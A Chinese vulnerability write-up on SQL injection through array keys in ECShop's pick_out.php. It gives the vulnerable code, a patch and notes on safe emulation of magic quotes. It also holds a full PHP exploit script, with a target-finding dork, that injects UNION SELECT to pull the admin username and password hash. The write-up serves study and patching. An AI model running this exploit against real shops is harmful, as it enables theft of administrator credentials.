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1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
1. 漏洞描述
在进行输入变量本地模拟注册的时候，没有进行有效的GPC模拟过滤处理，导出key键注入
Relevant Link:
/thread-150545-1-1.html
2. 漏洞触发条件
1. /pick_out.php漏洞未修复2. magic_quotes_gpc = Off
0x1: POC
#!/usr/bin/php 复制代码<?php //本程序只作技术交流，请不要用做非法用途！！ print_r(' +---------------------------------------------------------------------------+ ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit dork: "owered by ECShop" +---------------------------------------------------------------------------+ '); /** * works with magic_quotes_gpc = Off */ if ($argc < 3) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path host:target server (ip/hostname) path:path to ecshop Example: php '.$argv[0].' localhost /ecshop/ +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $resp = send(); preg_match('#IN\s\(([\S]+)[a-z0-9]{32})\)#', $resp, $hash); if ($hash) exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n"); else exit("Exploit Failed!\n"); function send() { global $host, $path; $cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat'; $data = "GET ".$path."pick_out.php?".$cmd." HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Connection: Close\r\n\r\n"; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>
3. 漏洞影响范围
4. 漏洞代码分析
/pick_out.php
../* 处理属性,获取满足属性的goods_id */if (!empty($_GET['attr'])){$attr_table = '';$attr_where = '';$attr_url = '';$i = 0;$goods_result = '';foreach ($_GET['attr'] AS $key => $value){$attr_url .= '&attr[' . $key . ']=' . $value; $attr_picks[] = $key;if ($i > 0){if (empty($goods_result)){break;}// 利用key进行注射$goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");}else{$goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE attr_id='$key' AND attr_value='$value'");}$i++;}..
5. 防御方法
/pick_out.php
define('IN_ECS', true);require(dirname(__FILE__) . '/includes/init.php');$condition = array();$picks = array();$cat_id = !empty($_GET['cat_id']) ? intval($_GET['cat_id']) : 0;if (!empty($_GET['attr'])){//对输入数组进行键值(key、value)规范化处理foreach($_GET['attr'] as $key => $value){/* */if (!is_numeric($key)){unset($_GET['attr'][$key]);continue;}$key = intval($key);$_GET['attr'][$key] = htmlspecialchars($value);/* */$attr_url .= '&attr[' . $key . ']=' . $value;...}}
Relevant Link:
/thread-86922-1-1.html
6. 攻防思考
GPC自动注册是PHP提供的原生机制，很多CMS为了保证"无视用户自身设置"，在全局入口代码中采用了"自动模拟GPC注册"的机制，类似于/*foreach(Array('_GET','_POST','_COOKIE') as $_request){foreach($$_request as $_k => $_v) ${$_k} = $_v;}*/
但是，在进行模拟GPC本地变量注册的时候，一定要保持安全性的一致性，即要同时模拟执行"magic_quotes_gpc = On"机制，即需要对传入数据的进行[key:value]转义过滤，例如
function _RunMagicQuotes(&$svar){if(!get_magic_quotes_gpc()){if( is_array($svar) ){foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);}else{$svar = addslashes($svar);}}return $svar;}foreach(Array('_GET','_POST','_COOKIE') as $_request){foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);}
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